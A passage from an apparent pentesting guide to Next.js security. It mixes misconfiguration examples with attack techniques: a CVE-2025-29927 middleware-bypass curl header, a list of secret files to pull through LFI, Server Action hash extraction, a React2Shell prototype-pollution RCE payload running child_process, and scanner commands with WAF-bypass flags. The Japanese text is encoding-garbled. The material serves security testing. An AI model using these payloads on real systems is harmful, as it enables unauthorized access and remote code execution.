// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
åé¡:
Access-Control-Allow-Origin: '*': ä»»æã®ãŠã§ããµã€ããAPIã«ã¢ã¯ã»ã¹ã§ããããã«ãªããæªæã®ãããµã€ããå¶éãªãããªãã®APIãšããåãã§ããå¯èœæ§ããããŸãã- åºç¯ãªã¡ãœããèš±å¯: ãã¹ãŠã®ã¡ãœãããèš±å¯ãããšãæ»æè ãæãŸãããªãæäœãå®è¡ã§ããããã«ãªãå¯èœæ§ããããŸãã
æ»æè ã«ããæªçšæ¹æ³:
æ»æè ã¯æªæã®ãããŠã§ããµã€ããäœæããŠããªãã®APIã«ãªã¯ãšã¹ããéããããŒã¿ååŸãããŒã¿æäœããŸãã¯èªèšŒæžã¿ãŠãŒã¶ã代çããŠæãŸãããªãæäœãåŒãèµ·ãããšãã£ãæ©èœãæªçšããå¯èœæ§ããããŸãã
CORS - Misconfigurations & Bypass
ã¯ã©ã€ã¢ã³ãåŽã§ã®ãµãŒããŒã³ãŒãã®é²åº
ãµãŒããŒã§äœ¿çšãããã³ãŒããã¯ã©ã€ã¢ã³ãåŽã§å ¬éã»äœ¿çšãããã³ãŒãã«ãç°¡åã«æµçšããŠããŸãããšããããŸãããã¡ã€ã«ã®ã³ãŒããã¯ã©ã€ã¢ã³ãåŽã«æ±ºããŠé²åºããªãããã«ããæè¯ã®æ¹æ³ã¯ããã¡ã€ã«ã®å é ã§æ¬¡ã® import ã䜿çšããããšã§ãïŒ
import "server-only"
éèŠãªãã¡ã€ã«ãšãã®åœ¹å²
middleware.ts / middleware.js
Location: ãããžã§ã¯ãã®ã«ãŒããŸã㯠src/ å
ã
Purpose: ãªã¯ãšã¹ããåŠçãããåã«ãµãŒããŒãµã€ãã®ãµãŒããŒã¬ã¹é¢æ°å ã§ã³ãŒããå®è¡ããèªèšŒããªãã€ã¬ã¯ããã¬ã¹ãã³ã¹ã®å€æŽãªã©ã®åŠçãè¡ããããã«ããã
Execution Flow:
- Incoming Request: ããã«ãŠã§ã¢ããªã¯ãšã¹ããååããã
- Processing: ãªã¯ãšã¹ãã«åºã¥ããŠåŠçãè¡ãïŒäŸïŒèªèšŒã®ç¢ºèªïŒã
- Response Modification: ã¬ã¹ãã³ã¹ã倿Žããããæ¬¡ã®ãã³ãã©ãžå¶åŸ¡ãæž¡ãããšãã§ããã
Example Use Cases:
- æªèªèšŒãŠãŒã¶ãŒã®ãªãã€ã¬ã¯ãã
- ã«ã¹ã¿ã ãããã®è¿œå ã
- ãªã¯ãšã¹ãã®ãã°èšé²ã
Sample Configuration:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
Middleware authorization bypass (CVE-2025-29927)
If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the x-middleware-subrequest header. The framework will skip middleware recursion and return the protected page.
- Baseline behavior is typically a 307 redirect to a login route like
/api/auth/signin. - Send a long
x-middleware-subrequestvalue (repeatmiddlewareto hitMAX_RECURSION_DEPTH) to flip the response to 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
- èªèšŒæžã¿ããŒãžã¯å€ãã®ãµããªãœãŒã¹ãèªã¿èŸŒããããã¢ã»ããããªãã€ã¬ã¯ããããªãããã«ãããããŒããã¹ãŠã®ãªã¯ãšã¹ãã«è¿œå ããŠãã ããïŒäŸ: Burp ã® Match/Replace ã§ç©ºã®ãããæååã䜿çšïŒã
next.config.js
Location: ãããžã§ã¯ãã®ã«ãŒãã
Purpose: Next.js ã®æåãæ§æããæ©èœã®æå¹å/ç¡å¹åãwebpack ã®èšå®ã®ã«ã¹ã¿ãã€ãºãç°å¢å€æ°ã®èšå®ãããã³ããã€ãã®ã»ãã¥ãªãã£æ©èœã®æ§æãè¡ããŸãã
Key Security Configurations:
ã»ãã¥ãªãã£ããããŒ
ã»ãã¥ãªãã£ããããŒã¯ããã©ãŠã¶ã«ã³ã³ãã³ãã®åãæ±ãæ¹æ³ãæç€ºããããšã§ã¢ããªã±ãŒã·ã§ã³ã®ã»ãã¥ãªãã£ãåäžãããŸããããã㯠Cross-Site Scripting (XSS)ãClickjackingãMIME type sniffing ãšãã£ãæ§ã ãªæ»æã®ç·©åã«åœ¹ç«ã¡ãŸã:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
äŸ:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
ç»åæé©åèšå®
Next.jsã¯ããã©ãŒãã³ã¹ã®ããã«ç»åãæé©åããŸãããèšå®ãã¹ã«ãããä¿¡é Œã§ããªããœãŒã¹ãæªæã®ããã³ã³ãã³ããæ³šå ¥ã§ãããªã©ã®ã»ãã¥ãªãã£è匱æ§ãçºçããå¯èœæ§ããããŸãã
äžé©åãªèšå®äŸïŒ
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
åé¡:
'*': å€éšã®ä»»æã®ãœãŒã¹ïŒä¿¡é Œã§ããªãæªæãããã¡ã€ã³ãå«ãïŒããç»åã®èªã¿èŸŒã¿ãèš±å¯ããŸããæ»æè ã¯æªæã®ãããã€ããŒããå«ãç»åãå©çšè ã誀èªå°ããã³ã³ãã³ãããã¹ãã§ããŸãã- ããã²ãšã€ã®åé¡ã¯ã誰ã§ãç»åãã¢ããããŒãã§ãããã¡ã€ã³ïŒäŸ:
raw.githubusercontent.comïŒãèš±å¯ããŠããŸãããšã§ãã
æ»æè ã®æªç𿹿³:
æªæãããœãŒã¹ããç»åãæ¿å ¥ããããšã§ãæ»æè ã¯ãã£ãã·ã³ã°æ»æãè¡ã£ããã誀解ãæãæ å ±ã衚瀺ããããç»åã¬ã³ããªã³ã°ã©ã€ãã©ãªã®è匱æ§ãæªçšãããã§ããŸãã
ç°å¢å€æ°ã®é²åº
APIããŒãããŒã¿ããŒã¹èªèšŒæ å ±ãªã©ã®æ©å¯æ å ±ããã¯ã©ã€ã¢ã³ãã«å ¬éããªãããå®å šã«ç®¡çããŠãã ããã
a. æ©å¯å€æ°ã®é²åº
äžé©åãªèšå®ã®äŸ:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}
åé¡:
SECRET_API_KEY:NEXT_PUBLIC_ãã¬ãã£ãã¯ã¹ããªããšãNext.js ã¯å€æ°ãã¯ã©ã€ã¢ã³ãã«å ¬éããŸããããããã誀ã£ãŠãã¬ãã£ãã¯ã¹ãä»ããŠããŸããšïŒäŸ:NEXT_PUBLIC_SECRET_API_KEYïŒãã¯ã©ã€ã¢ã³ãåŽããã¢ã¯ã»ã¹å¯èœã«ãªããŸãã
æ»æè ã«ããæªçšæ¹æ³:
æ©å¯å€æ°ãã¯ã©ã€ã¢ã³ãã«é²åºããŠãããšãæ»æè ã¯ã¯ã©ã€ã¢ã³ãåŽã®ã³ãŒãããããã¯ãŒã¯ãªã¯ãšã¹ãã調ã¹ãããšã§ããããååŸããAPIãããŒã¿ããŒã¹ããã®ä»ã®ãµãŒãã¹ãžã®äžæ£ã¢ã¯ã»ã¹ãè¡ãå¯èœæ§ããããŸãã
ãªãã€ã¬ã¯ã
ã¢ããªã±ãŒã·ã§ã³å ã§URLã®ãªãã€ã¬ã¯ã·ã§ã³ããªã©ã€ãã管çãããŠãŒã¶ãŒãé©åã«èªå°ãããããã«ãã€ã€ãopen redirect vulnerabilities ãå°å ¥ããªãããã«ããŠãã ããã
a. Open Redirect Vulnerability
Bad Configuration Example:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
åé¡:
- åçãªå®å (Dynamic Destination): ãŠãŒã¶ãŒãä»»æã®URLãæå®ã§ãããããopen redirect attacksãå¯èœã«ããŸãã
- ãŠãŒã¶ãŒå ¥åãä¿¡é Œããããš (Trusting User Input): ãŠãŒã¶ãŒãæäŸããURLãžæ€èšŒãªãã§ãªãã€ã¬ã¯ããããšãphishingãmalware distributionããŸãã¯credential theftã«ã€ãªããå¯èœæ§ããããŸãã
æ»æè ã®æªç𿹿³:
æ»æè ã¯ãããªãã®ãã¡ã€ã³ããçºä¿¡ãããããã«èŠããããŠãŒã¶ãŒãæªæãããµã€ãã«ãªãã€ã¬ã¯ãããURLãå·§åŠã«äœæã§ããŸããäŸãã°ïŒ
https://yourdomain.com/redirect?url=https://malicious-site.com
å ã®ãã¡ã€ã³ãä¿¡é ŒããŠãããŠãŒã¶ãŒã¯ãæå³ããæå®³ãªãŠã§ããµã€ãã«ç§»åããŠããŸãå¯èœæ§ãããã
Webpack ã®èšå®
Next.js ã¢ããªã±ãŒã·ã§ã³ã® Webpack èšå®ãã«ã¹ã¿ãã€ãºãããšã泚æããŠæ±ããªããšæå³ããã»ãã¥ãªãã£è匱æ§ãå°å ¥ããå¯èœæ§ãããã
a. æ©å¯ã¢ãžã¥ãŒã«ã®é²åº
æªãèšå®äŸ:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
åé¡:
- Exposing Sensitive Paths: ææãªãã£ã¬ã¯ããªããšã€ãªã¢ã¹åããã¯ã©ã€ã¢ã³ãåŽããã®ã¢ã¯ã»ã¹ãèš±å¯ãããšæ©å¯æ å ±ã leak ããå¯èœæ§ããããŸãã
- Bundling Secrets: æ©å¯ãã¡ã€ã«ãã¯ã©ã€ã¢ã³ãåãã«ãã³ãã«ããããšããœãŒã¹ããããã¯ã©ã€ã¢ã³ãåŽã®ã³ãŒãã調ã¹ãããšã§ãã®å 容ã«ã¢ã¯ã»ã¹ã§ããããã«ãªããŸãã
How attackers abuse it:
æ»æè
ã¯ã¢ããªã±ãŒã·ã§ã³ã®ãã£ã¬ã¯ããªæ§é ã«ã¢ã¯ã»ã¹ãããåæ§ç¯ãããããŠãæ©å¯ãã¡ã€ã«ãããŒã¿ãçºèŠã»æªçšããå¯èœæ§ããããŸãã
pages/_app.js ãš pages/_document.js
pages/_app.js
Purpose: ããã©ã«ãã® App ã³ã³ããŒãã³ãããªãŒããŒã©ã€ãããã°ããŒãã«ãªç¶æ ãã¹ã¿ã€ã«ãã¬ã€ã¢ãŠãã³ã³ããŒãã³ããå©çšã§ããããã«ããŸãã
Use Cases:
- ã°ããŒãã«ãª CSS ãæ³šå ¥ããã
- ã¬ã€ã¢ãŠãã©ãããŒã远å ããã
- ç¶æ 管çã©ã€ãã©ãªãçµ±åããã
Example:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
ç®ç: ããã©ã«ãã® Document ããªãŒããŒã©ã€ããã<html> ãš <body> ã¿ã°ã®ã«ã¹ã¿ãã€ãºãå¯èœã«ããŸãã
ãŠãŒã¹ã±ãŒã¹:
<html>ã<body>ã¿ã°ã®å€æŽã- meta ã¿ã°ãã«ã¹ã¿ã ã¹ã¯ãªããã®è¿œå ã
- ãµãŒãããŒãã£ã®ãã©ã³ãã®å°å ¥ã
äŸ:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
ã«ã¹ã¿ã ãµãŒã㌠(ãªãã·ã§ã³)
ç®ç: Next.js ã¯çµã¿èŸŒã¿ãµãŒããŒãåããŠããŸãããã«ã¹ã¿ã ã«ãŒãã£ã³ã°ãæ¢åã®ããã¯ãšã³ããµãŒãã¹ãšã®çµ±åãªã©ãããé«åºŠãªãŠãŒã¹ã±ãŒã¹ã®ããã«ã«ã¹ã¿ã ãµãŒããŒãäœæã§ããŸãã
泚æ: ã«ã¹ã¿ã ãµãŒããŒã䜿çšãããšãããã€ã®éžæè¢ãå¶éãããããšããããç¹ã« Vercel ã®ããã« Next.js ã®çµã¿èŸŒã¿ãµãŒããŒãæé©åããŠãããã©ãããã©ãŒã ã§ã¯å¶éãé¡èã«ãªããŸãã
äŸ:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
远å ã®ã¢ãŒããã¯ãã£ããã³ã»ãã¥ãªãã£äžã®èæ ®äºé
ç°å¢å€æ°ãšèšå®
Purpose: æ©å¯æ å ±ãèšå®ãã³ãŒãããŒã¹ã®å€ã§ç®¡çããããšã
Best Practices:
- Use
.envFiles: API keys ã®ãããªå€æ°ã.env.localã«ä¿åããïŒããŒãžã§ã³ç®¡çããé€å€ïŒã - Access Variables Securely: ç°å¢å€æ°ã«å®å
šã«ã¢ã¯ã»ã¹ããã«ã¯
process.env.VARIABLE_NAMEã䜿çšããã - Never Expose Secrets on the Client: æ©å¯å€æ°ãã¯ã©ã€ã¢ã³ãåŽã«é²åºããªãããããµãŒããŒåŽã®ã¿ã§äœ¿çšããããšã確èªããã
Example:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
泚æ: ãµãŒããŒåŽã®å€æ°ã«éå®ããã«ã¯ãenv ãªããžã§ã¯ãããããããçç¥ããããã¯ã©ã€ã¢ã³ãã«å
¬éããå Žå㯠NEXT_PUBLIC_ ããã¬ãã£ãã¯ã¹ãšããŠä»ããŠãã ããã
LFI/download endpoints ãä»ããŠçãã¹ãæçšãªãµãŒããŒã®ã¢ãŒãã£ãã¡ã¯ã
Next.js ã¢ããªã§ path traversal ã download API ãèŠã€ããå ŽåããµãŒããŒåŽã®ç§å¯ãèªèšŒããžãã¯ã leak ããã³ã³ãã€ã«æžã¿ã¢ãŒãã£ãã¡ã¯ããçã£ãŠãã ãã:
.env/.env.localâ ã»ãã·ã§ã³ã·ãŒã¯ã¬ããããããã€ãã®èªèšŒæ å ±ãå«ãå¯èœæ§ãããã.next/routes-manifest.jsonãš.next/build-manifest.jsonâ ã«ãŒãã®å®å šãªäžèЧãååŸå¯èœã.next/server/pages/api/auth/[...nextauth].jsâ ã³ã³ãã€ã«æžã¿ NextAuth èšå®ã埩å ããããïŒprocess.envãæªèšå®ã®å Žåããã©ãŒã«ããã¯ãã¹ã¯ãŒããå«ãããšãå€ãïŒãnext.config.js/next.config.mjsâ rewritesãredirectsãmiddleware ã®ã«ãŒãã£ã³ã°ã確èªããããã
èªèšŒãšèªå¯
ã¢ãããŒã:
- Session-Based Authentication: ã¯ãããŒã䜿çšããŠãŠãŒã¶ãŒã»ãã·ã§ã³ã管çããã
- Token-Based Authentication: ã¹ããŒãã¬ã¹èªèšŒã®ããã« JWTs ãå®è£ ããã
- Third-Party Providers:
next-authã®ãããªã©ã€ãã©ãªã䜿ããOAuth providersïŒäŸ: GoogleãGitHubïŒãšçµ±åããã
ã»ãã¥ãªãã£å¯Ÿç:
- Secure Cookies:
HttpOnlyãSecureãããã³SameSite屿§ãèšå®ããã - Password Hashing: ä¿åããåã«å¿ ããã¹ã¯ãŒããããã·ã¥åããã
- Input Validation: å ¥åãæ€èšŒã»ãµãã¿ã€ãºããŠã€ã³ãžã§ã¯ã·ã§ã³æ»æãé²ãã
äŸ:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
ããã©ãŒãã³ã¹æé©å
æŠç¥:
- ç»åæé©å: èªåçãªç»åæé©åã®ããã« Next.js ã®
next/imageã³ã³ããŒãã³ãã䜿çšããã - ã³ãŒãåå²: åçã€ã³ããŒããå©çšããŠã³ãŒããåå²ããåæããŒãæéãççž®ããã
- ãã£ãã·ã¥: APIã¬ã¹ãã³ã¹ãéçã¢ã»ããã®ããã®ãã£ãã·ã³ã°æŠç¥ãå®è£ ããã
- é å»¶èªã¿èŸŒã¿: ã³ã³ããŒãã³ããã¢ã»ãããå¿ èŠãªãšãã«ã®ã¿èªã¿èŸŒãã
äŸ:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions åæ (hash to function name via source maps)
ææ°ã® Next.js ã¯ããµãŒããŒäžã§å®è¡ããããã¯ã©ã€ã¢ã³ãããåŒã³åºããã âServer Actionsâ ã䜿çšããŸããæ¬çªç°å¢ã§ã¯ãããã®åŒã³åºãã¯äžéæã§ããã¹ãŠã® POSTs ã¯å
±éã®ãšã³ããã€ã³ãã«éä¿¡ãããNext-Action ãããã§éããããã«ãåºæã® hash ã«ãã£ãŠåºå¥ãããŸããäŸ:
POST /
Next-Action: a9f8e2b4c7d1...
productionBrowserSourceMaps ãæå¹ãªå Žåãminified JS chunks 㯠createServerReference(...) ã®åŒã³åºããå«ã¿ãaction hash ãšå
ã®é¢æ°åã®å¯Ÿå¿é¢ä¿ã埩å
ããã®ã«ååãªæ§é ïŒããã³é¢é£ãã source mapsïŒã leak ããŸããããã«ãããNext-Action ã§èŠ³æž¬ããããã·ã¥ã deleteUserAccount() ã exportFinancialData() ãšãã£ãå
·äœçãªã¿ãŒã²ããã«å€æã§ããŸãã
æœåºã¢ãããŒã (regex on minified JS + optional source maps)
ããŠã³ããŒããã JS ãã£ã³ã¯ã§ createServerReference ãæ€çŽ¢ããããã·ã¥ãšé¢æ°/ãœãŒã¹ã·ã³ãã«ãæœåºããŸãã䟿å©ãªãã¿ãŒã³ã2ã€ãããŸã:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Group 1: server action hashïŒ40æå以äžã®16鲿°ïŒ
- Group 2: ãœãŒã¹ããããååšããå Žåã«å ã®é¢æ°åã«è§£æ±ºã§ããã·ã³ãã«ãŸãã¯ãã¹
If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.
å®è·µçãªã¯ãŒã¯ãããŒ
- ãã©ãŠãžã³ã°äžã®ååççºèŠ:
Next-ActionããããŒã JS ãã£ã³ã¯ã® URL ããã£ããã£ããã - åç
§ããã JS ãã³ãã«ãšä»éãã
*.mapãã¡ã€ã«ïŒååšããå ŽåïŒãååŸããã - äžèšã®æ£èŠè¡šçŸãå®è¡ã㊠hashâname èŸæžãæ§ç¯ããã
- èŸæžã䜿ã£ãŠãã¹ã察象ãçµã:
- ååããŒã¹ã®ããªã¢ãŒãžïŒäŸ:
transferFunds,exportFinancialDataïŒã - 颿°åã§ãã«ãéã®ã«ãã¬ããžã远跡ããïŒhashes ã¯ãã«ãããšã«å転ããïŒã
é ããã¢ã¯ã·ã§ã³ãå®è¡ããïŒãã³ãã¬ãŒãããŒã¹ã®ãªã¯ãšã¹ãïŒ
ãããã·å
ã§èŠ³æž¬ããæå¹ãª POST ããã³ãã¬ãŒããšããŠåããNext-Action ã®å€ãå¥ã®çºèŠããã¢ã¯ã·ã§ã³ã«å·®ãæ¿ããïŒ
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Replay in Repeater and test authorization, input validation and business logic of otherwise unreachable actions.
Burp èªåå
- NextjsServerActionAnalyzer (Burp extension) ã¯äžèšã Burp å ã§èªååããŸã:
- ãããã·å±¥æŽãã JS ãã£ã³ã¯ãæ¢çŽ¢ãã
createServerReference(...)ãšã³ããªãæœåºããsource maps ãããã°è§£æããŸãã - æ€çŽ¢å¯èœãª hashâfunction-name èŸæžãä¿æããfunction name ã«ãã£ãŠãã«ãéã®éè€ãé€å»ããŸãã
- æå¹ãªãã³ãã¬ãŒã POST ãç¹å®ãã察象ã¢ã¯ã·ã§ã³ã® hash ãå·®ãæ¿ããéä¿¡æºåæžã¿ã® Repeater ã¿ããéãããšãã§ããŸãã
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
泚æç¹ãšå¶é
- ãã³ãã«/ãœãŒã¹ãããããååã埩å
ããã«ã¯ãæ¬çªç°å¢ã§
productionBrowserSourceMapsãæå¹ã«ããŠããå¿ èŠããããŸãã - Function-name ã®æ å ±é瀺èªäœã¯è匱æ§ã§ã¯ãããŸãããçºèŠã®æéãšããŠäœ¿çšããåã¢ã¯ã·ã§ã³ã®èªå¯ãåå¥ã«ãã¹ãããŠãã ããã
React Server Components Flight ãããã³ã«ã®ãã·ãªã¢ã©ã€ãº RCE (CVE-2025-55182)
Next.js App Router ã®å±éã§ react-server-dom-webpack 19.0.0â19.2.0 (Next.js 15.x/16.x) äžã§ Server Actions ãå
¬éããŠãããã®ã¯ãFlight ãã£ã³ã¯ã®ãã·ãªã¢ã©ã€ãºæã«é倧ãªãµãŒããµã€ãã® prototype pollution ãå«ã¿ãŸããFlight ãã€ããŒãå
ã« $ ãªãã¡ã¬ã³ã¹ãäœã蟌ãããšã§ãæ»æè
ã¯æ±æããããããã¿ã€ãããä»»æã® JavaScript å®è¡ãããã« Node.js ããã»ã¹å
ã§ã® OS ã³ãã³ãå®è¡ãžãšããããã§ããŸãã
NodeJS - proto & prototype Pollution
Flight ãã£ã³ã¯ã«ãããæ»æãã§ãŒã³
- Prototype pollution primitive: Set
"then": "$1:__proto__:then"so that the resolver writes athenfunction onObject.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals. - Rebinding to the global
Functionconstructor: Point_response._formData.getat"$1:constructor:constructor". During resolution,object.constructorâObject, andObject.constructorâFunction, so future calls to_formData.get()actually executeFunction(...). - Code execution via
_prefix: Place JavaScript source in_response._prefix. When the polluted_formData.getis invoked, the framework evaluatesFunction(_prefix)(...), so the injected JS can runrequire('child_process').exec()or any other Node primitive.
Payload skeleton
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
React Server Function ã®é²åºãããã³ã°
React Server Functions (RSF) 㯠âuse serverâ; ãã£ã¬ã¯ãã£ããå«ãä»»æã®é¢æ°ã§ãããããã®é¢æ°ã«ãã€ã³ããããå form actionãmutationããŸã㯠fetch helper 㯠RSC Flight endpoint ãšãªããæ»æè ãæäŸãããã€ããŒããå¹³ç¶ãšãã·ãªã¢ã©ã€ãºããŸããReact2Shell ã®ã¢ã»ã¹ã¡ã³ãããåŸãããæçšãªæ å ±åéæé :
- éçã€ã³ãã³ããª: ãã¬ãŒã ã¯ãŒã¯ã«ãã£ãŠèªåçã«å ¬éãããŠãã RSF ã®æ°ãææ¡ããããã«ãâuse serverâ; ãã£ã¬ã¯ãã£ããæ¢ãã
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- App Router defaults:
create-next-appã¯ããã©ã«ãã§ App Router ãšapp/ãã£ã¬ã¯ããªãæå¹ã«ããããã«ããå šãŠã®ã«ãŒããé»ã£ãŠ RSC 察å¿ã®ãšã³ããã€ã³ãã«ãªããŸãã/_next/static/chunks/app/ã®ãã㪠App Router ã®ã¢ã»ããããFlight ãã£ã³ã¯ãtext/x-componentã§ã¹ããªãŒã ããã¬ã¹ãã³ã¹ã¯ã€ã³ã¿ãŒãããäžã§ç®ç«ã€ãã£ã³ã¬ãŒããªã³ãã§ãã - Implicitly vulnerable RSC deployments: React ã®å
¬åŒã¢ããã€ã¶ãªã¯ãRSC runtime ã忢±ããã¢ããªãæç€ºç㪠RSFs ããªããŠãæªçšããåŸããšææããŠããããã
react-server-dom-*ã䜿çšãã 19.0.0â19.2.0 ã®ãã«ãã¯çããããã®ãšããŠæ±ã£ãŠãã ããã - Other frameworks bundling RSC: Vite RSCãParcel RSCãReact Router RSC previewãRedwoodSDKãWaku çã¯åãã·ãªã¢ã©ã€ã¶ãåå©çšããŠãããpatched React ãã«ããçµã¿èŸŒããŸã§ã¯åäžã®ãªã¢ãŒãæ»æé¢ãåŒãç¶ããŸãã
Version coverage (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: è匱 㯠19.0.0ã19.1.0â19.1.1ã19.2.0ïŒä¿®æ£æžã¿ ã¯ãããã 19.0.1ã19.1.2ã19.2.1ã- Next.js stable: App Router ãªãªãŒã¹ 15.0.0â16.0.6 ã¯è匱㪠RSC ã¹ã¿ãã¯ãçµã¿èŸŒãã§ããŸããPatch train ã® 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 ã¯ä¿®æ£æžã¿ã®äŸåé¢ä¿ãå«ãããããããæªæºã®ããŒãžã§ã³ã®ãã«ãã¯åªå ã¿ãŒã²ããã§ãã
- Next.js canary:
14.3.0-canary.77+ããã°ã®ãã runtime ã忢±ããŠãããçŸæç¹ã§ä¿®æ£æžã¿ã® canary ãªãªãŒã¹ãåºãŠããªãããããããã®ãã£ã³ã¬ãŒããªã³ãã¯åŒ·ãæªçšåè£ã«ãªããŸãã
Remote detection oracle
Assetnoteâs react2shell-scanner ã¯ãåè£ãã¹ã«å¯ŸããŠçް工ãã multipart Flight ãªã¯ãšã¹ããéãããµãŒããŒåŽã®æåã芳å¯ããŸãïŒ
- Default mode ã¯æ±ºå®è«ç㪠RCE ãã€ããŒãïŒ
X-Action-Redirectçµç±ã§åæ ãããç®è¡æŒç®ïŒãå®è¡ããŠã³ãŒãå®è¡ã蚌æããŸãã --safe-checkmode ã¯æå³çã« Flight ã¡ãã»ãŒãžãäžæ£ã«ããŠãä¿®æ£æžã¿ãµãŒããŒã200/400ãè¿ãããã«ãã€ã€ãè匱ãªã¿ãŒã²ããã¯ããã£å ã«E{"digest"ãšããéšåæååãå«ãHTTP/500ã¬ã¹ãã³ã¹ãè¿ããŸãããã®(500 + digest)ã®çµã¿åããã¯ãçŸæç¹ã§å®ååŽãå ¬éããæãä¿¡é Œã§ãããªã¢ãŒãæ€åºãªã©ã¯ã«ã§ãã- çµã¿èŸŒã¿ã®
--waf-bypassã--vercel-waf-bypassã--windowsã¹ã€ããã¯ãã€ããŒãã®ã¬ã€ã¢ãŠãã調æŽãããããŽããå眮ããããOS ã³ãã³ãã眮ãæãããããŠãå®éã®ã€ã³ã¿ãŒãããè³ç£ãæ¢æ»ã§ããããã«ããŸãã
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
ãã®ä»ã®æè¿ã® App Router ã®åé¡ïŒ2025幎åŸåïŒ
- RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) â äžæ£ãª Flight ãã€ããŒãã«ãã RSC resolver ãç¡éã«ãŒãã«é¥ãïŒèªèšŒå DoSïŒããã³ã³ãã€ã«æžã¿ Server Function ã³ãŒãã®ã·ãªã¢ã©ã€ãºã匷å¶ããŠä»ã®æäœã«å©çšãããå¯èœæ§ããããŸããApp Router ãã«ã â¥13.3 ã¯ãããé©çšãŸã§åœ±é¿ãåããŸãïŒ15.0.xâ16.0.x 㯠upstream advisory ã®ç¹å®ã®ãããè¡ãå¿
èŠã§ããéåžžã® Server Action ãã¹ãåå©çšãã€ã€ã
text/x-componentããã£ã«ä¹±çšããã$åç §ãå«ããŠã¹ããªãŒã ããŸããCDN ã®èåŸã§ã¯ããã£ãã·ã¥ã®ã¿ã€ã ã¢ãŠãã«ãããã³ã°ããæ¥ç¶ãç¶æããããããDoS ãå®äŸ¡ã«å®è¡ã§ããŸãã
- ããªã¢ãŒãžã®ãã³ã: æªãããã®ã¿ãŒã²ããã¯äžæ£ãª Flight ãã€ããŒãåŸã«
